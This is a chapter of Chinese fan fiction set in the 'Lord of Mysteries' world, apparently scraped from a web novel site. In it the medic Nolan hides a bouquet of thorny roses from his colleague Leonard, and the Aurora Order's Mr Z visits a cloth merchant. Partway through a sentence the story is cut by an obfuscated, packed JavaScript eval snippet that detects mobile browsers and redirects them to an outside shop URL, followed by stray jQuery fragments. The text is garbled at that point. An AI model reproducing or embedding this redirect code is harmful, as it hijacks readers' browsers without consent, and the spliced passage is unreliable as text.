46.来访者

作品:《天使归位指南【诡秘之主】

    7月5日,周四。


    下午一点半,霍伊大学医学院收到阿霍瓦郡警察厅的紧急通知,临时取消了原定于三点举行的学术讲座,并配合警方,逐一通知讲座特邀的各家报社、期刊记者,叫停与“遭绑架”主讲人——泽菲尔·索恩爵士相关的全部宣传,力求将消息扩散范围控制到最小。


    而此时,诺兰已与果断舍弃“泽菲尔·索恩”这一明面身份的极光会神使“Z先生”匆匆分别。


    他怀抱一大束用牛皮纸包裹的红蔷薇,稳步走在校内幽静的林荫道上,不时能感受到路过师生投来的好奇目光。


    抵达校门外的公共马车站点后,诺兰登上了一辆驶向廷根市北区红月亮街的轨道双层马车。


    午后天气闷热,一层车厢内虽乘客稀疏,可他仍坚持用花束挡在衣襟大敞的胸前,付过车费后,径直登梯去了无人的二层车厢。


    马车在晃动中不疾不徐地前行,诺兰将蔷薇花束轻轻靠在窗边,没有立刻落座,而是一抖先前随意搭挂在臂弯上的那件见习督查制服外套,重新穿回身上,仔细扣好一粒粒铜扣,只留领口那粒未扣,露出一小截呈健康蜜色的脖颈。


    随着胸膛的“清凉感”褪去,诺兰紧绷的神经才缓缓松弛下来,仿佛穿上身的并非一件用来遮羞的普通制服,而是一副能让他找回身心安宁的铠甲。


    赞美女神。


    诺兰抬手在胸口认真点了四下,绘出象征黑夜女神的绯红之月。


    随后,他的目光落在那束近乎有少女腰肢粗细的红蔷薇上,不自觉咽了口唾沫,后退两步,在与花束隔着一条过道的对面座椅上落座。


    在诺兰有意输送的生机滋养下,朵朵蔷薇开得饱满而艳丽,花瓣层叠,深红如血,泛着丝绒质感的幽光。


    然而但凡细看,便会发现每一支花茎上都留着未曾修剪的茎刺,像是被人仓促剪下,包成这样一束引得不知情者心生羡艳与遐想的花束。


    半小时后,诺兰在红月亮街站点下车,依旧环抱着那束沉甸甸的红蔷薇。


    他神色冷凝,快步经过圣赛琳娜教堂前的广场,拐弯步入了附近的静修院。


    却不想在自己的园丁小屋门前,竟见到了同样还未换下督查制服的伦纳德·米切尔。


    对方正斜靠在门框上,右手轻拈一枝薰衣草,逗引着一只嫩黄带斑点的蝴蝶。


    诺兰脚步微顿,下意识收拢手臂,将怀中的花束环紧了几分。


    可就在伦纳德抬眼望来的刹那,他又放松了些许力道,脸上扬起一抹惯常的温和微笑,迈步上前,询问对方的来意。


    “怕你心情低落,特意过来安慰你啊~”


    伦纳德慢悠悠站直身体,手臂轻抬,随手把那枝已然蔫软的薰衣草,斜插|进诺兰左耳后方的发间,任由那只蝴蝶也跟着飞了过去。


    他的目光却随即落向对方怀中那捧灼灼如火的红蔷薇,意味深长地高挑起一侧眉梢,打趣道:“不过看样子……”


    “我来晚了?”


    伦纳德双臂交叉抱于胸前,自顾自地推理道:“也是,凭我们温特督查的本事,恐怕你才一皱眉,就会招来不少‘蝴蝶’,围着你直打转。”


    他促狭一笑,忽地探出右手,指尖却如方才那只受他逗弄的蝴蝶,追着被诺兰不动声色挪开的红蔷薇,遗憾扑了个空。


    悻悻收回手,伦纳德审视着小心护着花束的诺兰,语气随意地劝慰道:“扑空是常有的事,这一次没能抓住极光会的疯子,不代表我们下一次也会失手,更没有人会因一次失败而否定你……”


    他顿了顿,声音略沉,笃定道:“至少我不会。”


    一丝暖意悄然漫过诺兰心头,令他不禁默默感慨了一句:伦纳德真是人美心善。


    可表面上,诺兰却只微垂眼帘,轻笑着跟对方简短道了声:“谢谢。”


    “你怀里这束花,不像是从花店里买来的。”


    “倒像是从什么地方……”伦纳德的观察力一如既往的敏锐,他稍稍一顿,随口推断道,“剪下的?”


    诺兰闻言,心中一阵发虚,面上却神色如常。


    他只是弯腰将花束轻倚在窗下,起身拍去外套衣袖上沾着的花叶与浮尘,语气自然地向伦纳德解释道:“这是我从霍伊大学教职工餐厅附近的栅栏上顺手剪的。”


    “花色罕见,我打算扦插、嫁接一批,用来丰富静修院的树篱造景。”


    为避免对方追问,他紧接着转开话题,反问道:“你用过午餐了吗?”


    “我和队长他们刚在‘黑荆棘’随便对付了一口——迪西馅饼配甜冰茶。”


    伦纳德双手掐腰,微微活动了下有些僵硬的背脊,补充道,“是克莱恩顺路捎带来的。”


    “不得不说,那家伙对美食还算有点研究,尤其是甜冰茶,这种天气喝下去格外清爽。”


    他歪头笑道:“你要是感兴趣,明天再碰到他时,我可以帮你问问是在哪里买的。”


    “我还以为你是专程来给我送甜冰茶的,”诺兰故作不满地努了努嘴,轻哼一声道,“原来根本没买我那份!”


    伦纳德一听便知诺兰在开玩笑,嬉笑着侧身为对方让开门口,回应道:“买是买了,可你不是已经在大学餐厅用过餐了吗?我怕你吃撑,就和克莱恩一起把你那份解决了。”


    “而且邓恩去餐厅找过你后,回来还跟我们说,看你一个人还能吃下两份冷切拼盘配费内波特面,那心态稳的,完全不像第一次——”


    诺兰推开园丁小屋房门的同时,扭身冲已挪步退至他身后的伦纳德,比了个噤声的手势,顺势转移话题道:“要进来小憩一会儿吗?”


    除了格雷主教、邓恩、老尼尔与他,廷根再没有第五个人知晓,这次针对极光会成员的失败围捕,其实是在圣堂首肯下,另一个更隐秘任务的开端……


    “不了。”


    伦纳德看出了诺兰的疲惫,停在门外没有进屋:“下午该我轮值查尼斯门了。”


    “见你没事我就放心了。”


    他的视线轻掠过对方扣得规整的制服外套,绿眸里的了然更甚。


    冲诺兰俏皮挤了下左眼,伦纳德转身告辞:“你也快换身衣服去休息吧,改天我再来给你念睡前故事。”


    诺兰没料到伦纳德会走得这般干脆,眨眼间便已走远。


    他连忙往门口追了一步,扒住门框探出身,朝着那道离去的背影,扬声喊道:“我明天要去东区的草药店!你别忘了帮我问克莱恩,他的‘甜冰茶’是在哪里买的!”


    伦纳德没有回头,只高高举起右手,在空中虚虚一握,继而将这攥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376297|194694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起的拳头揣进制服外套的口袋,宛如把诺兰的嘱托也一并揣了进去。


    目送那位帅且自知的“午夜诗人”悠然远去,诺兰望着对方高挑的身影渐渐隐入院中重重树影,他又在门口静静伫立了片刻。


    直到确定伦纳德的生机波动彻底离开,诺兰才再度移步到屋外,将刚才搁在窗下的那束红蔷薇捧回了屋内。


    但他没有立即拆去花束的包装,只是拎来一只铁桶,接了半桶清水,滴入几滴特制的营养液。


    像是怕被烫到一般,诺兰连带着外层牛皮纸,将整束花草草浸入了水桶中……


    深夜,豪尔斯街区19号。


    布料商人西里斯·阿瑞匹斯将明日准备寄给极光会神使Z先生的书信折好,起身离开了书桌。


    他正打算在睡前饮一杯由医师诺兰亲手调制的助眠花草茶,身后的窗户方向,却突兀传来三声轻叩。


    循声回望,西里斯·阿瑞匹斯并未在窗畔寻到任何异响来源。


    可眼角余光一瞥之际,他猝然一僵,惊愕发现不知何时,书桌旁竟多了一名身着白衬衫搭配红马甲——一副“侍者”打扮的年轻男子。


    借着煤气台灯不算昏黄的光亮,他看清了对方那张生有雀斑、青涩而陌生的脸庞,确定自己从未见过此人。


    然而那男子却径自拿起西里斯·阿瑞匹斯刚写好的书信,坦然坐入书桌前的扶手椅,沉默地浏览起信件内容。


    “你……”


    西里斯·阿瑞匹斯僵立在书桌与摆着精致茶具的待客茶几之间,手脚冰凉,喉咙发紧,迟疑问道:“你是谁?”


    “我是谁?”


    红马甲男子移眸望去,脸上闪过一丝茫然,旋即像是被瞬间点醒般,慢慢勾起了唇角。


    他轻扬了扬手中的书信,淡淡开口道:“收信人。”


    西里斯·阿瑞匹斯并未因这句回答放松警惕,仍杵在原地,眉头紧锁,眯眼仔细打量着桌前读信之人。


    片刻过后,他才不确定地低声探问道:“Z先生?”


    “是我。”


    Z先生没与西里斯·阿瑞匹斯废话,直言所需道:“给我找些生肉,越多越好,品类不限。”


    “另外,准备一把仪式银匕,和一只内壁镀银的匣子。”


    “匣子不必太大,能装下成年男子的拳头就足够了。”


    “拿不准尺寸……”他斜睨了一眼对方垂在身侧的左手,唇角又翘高少许,笑意却敛了大半,冷声接道,“就把你的左拳放进去——”


    “好好比一比。”


    西里斯·阿瑞匹斯心头登时一沉,再不敢细究Z先生为何以这副相貌现身,他慌忙应了声“好”,便快步退出书房,亲自去筹备对方要求的那些事物……


    与此同时,邓恩·史密斯独自穿过连接黑荆棘安保公司与圣赛琳娜教堂的地下通道,来到教堂静修院内的那间园丁小屋门前。


    他与负责夜间巡视的院内老修士颔首致意,继而推开了今晚并未上锁的小屋房门。


    屋内一片静谧,只有诺兰·温特酣睡的呼吸声。


    邓恩熟练布下一道灵性之墙,隔绝了外界对屋里的一切感知。


    做完这件事,他才缓步走到单人床旁,将还沉浸在麦浪翻滚美梦中的金发医师,轻推唤醒……